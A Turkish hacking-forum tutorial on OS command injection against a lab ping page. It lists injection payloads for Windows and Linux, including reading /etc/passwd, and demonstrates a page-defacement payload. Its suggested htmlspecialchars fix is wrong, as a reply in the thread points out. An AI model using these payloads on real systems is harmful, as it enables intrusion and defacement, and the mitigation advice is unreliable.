- 11 Ara 2020
- 2,642
- 9
- 1,515
Eline Sağlık.
ekrana yazan yazıyı owned.html dosyasına kayıt ediyorhocam bu arada:
echo "Hacked By P4$A"
Ekrana Hacked By P4$A yazdırmaya yarıyor evet.
Peki bu;
> owned.html
ne işe yarıyor?
peki bu ne işe yarıyacakekrana yazan yazıyı owned.html dosyasına kayıt ediyor
eline sağlık ancak yanlış bir bilgi var htmlspecialchars burada etkili şekilde çalışmaz çünkü | "pipe" karakterini filtrelemez | işareti ile hala kaçış mümkün olacaktır.
~Tanım~
Command injection, kötü niyetli bir saldırganın, bir web uygulaması veya başka bir bilgisayar programının hatalı veya güvenliksiz bir şekilde yazılmış giriş kontrollerini kullanarak hedef sistemde komut çalıştırmasına izin veren bir güvenlik açığıdır.
Bu tür bir saldırıda, saldırgan uygulamaya normal bir kullanıcı gibi girer ve özel karakterler veya kodlar kullanarak uygulamayı aldatır. Bu, saldırganın uygulamayı istediği şekilde yönlendirmesine ve hedef sistemde kötü amaçlı kod çalıştırmasına neden olabilir.
Örneğin, bir web uygulaması, kullanıcının arama sorgusu olarak girilen metni bir komut olarak yorumlayarak sonuçları gösterir. Saldırgan, bu giriş alanına bir komut enjekte ederek hedef sistemi etkileyebilir. Bu, saldırganın kötü amaçlı kodları yürütmesine ve hedef sistemde önemli veri kaybına veya diğer zararlara neden olmasına neden olabilir.
Yani enjekte ettiğimiz komutun sistemdeki bir terminal de çalışması gerekir.
~Uygulama~
Labımıza geldiğimiz de bizi bir ping atma sayfası karşılıyor. ilk önce normal bir ping atalım.
Görüldüğü üzere başarılı bir şekilde çalışıyor.
Şimdi sistemimizde zafiyet var mı diye komutumuzun sonuna herhangi bir payload ekleyerek sistemde komut çalıştırabiliyor muyuz bunu test edelim. Yazacağımız payloadların genel çalışma mantığı ise x komutundan sonra y komutunu çalıştır şeklinde ilerliyor.
Bazı örnek payloadlar.
Windows için;
| dir
; dir
$(`dir`)
& dir
Linux için;
;id;
|id
$;/usr/bin/id
$(`cat /etc/passwd`)
&&id
Yukarıdaki payloadlardan birini kopyalıyorum.
ve tekrar ping attırıyorum.
Görüldüğü gibi bu sefer "|" payloadı sayesinde sistemimizde bulunduğumuz dizinde hangi dosyalar var bunları görebildik demek ki burada os command injection zafiyeti var. Os command injection zafiyeti çok tehlikeli bir zafiyet olduğundan dolayı dışarıdan bir dosya çekebiliriz.
Şimdi ise "İndex Basmak" olarak tabir ettiğimiz olayı gerçekleştirmek için '8.8.8.8 | echo "Hacked By P4$A" > owned.html' burada ekrana yazdırdığım komutu bir dosyanın içine kayıt edip zafiyetimi sömürüyorum.
Burp ile araya girip yolladığım isteği gösterdim. Şimdi bakalım index yemiş mi sayfamız;
Görüldüğü gibi owned.html dosyamızı istediğimizi yazdırmış olduk, isteyen shell de yazdırabilir istediğini yapar.
~Zafiyetin Oluştuğu Yer~
index.php dosyamızda form aracılığı ile post methodu ile kullanıcıdan bir değer alınmış bunu value olarak ping e yansıtmış ve bunun işleneceği yer olarak ci.php dosyasını göstermiş şimdi ci.php dosyasına bakalım.
Burayı da yorumlamak gerekir ise bir ip değişkeni oluşturulup index.php den ismi ip olarak gönderilen değişkene atama yapılmış daha sonra find değişkenini shell_exec fonsiyonun içinde ping atma işlemin de kullanılıp ekrana yazdırılmış, shell_exec komutu isminden de anlaşılabileceği üzere bir shell yani terminal üzerinde komut çalıştırmaya yarıyor burada zafiyetin oluşmasının sebebi ise 2 türlüdür.
1- Kullanıcıdan alınan ip direk filtrelemeden geçirilmemeliydi.
2- Direk ekrana yansıtıyorsak shell_exec komutunu "htmlspecialchars(shell_exec('ping ' .$ip));" gibi kullanarak filtreleseydik herhangi bir özel karakter çalışmayacağından zafiyet kaynaklanmayacaktı.
Kaynak Kodlarını Olabildiğince Göstermeye Devam Edeceğim.
Okuduğunuz İçin TeşekkürlerTarih pes edenleri değil mücadele edenleri de yazar.
Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.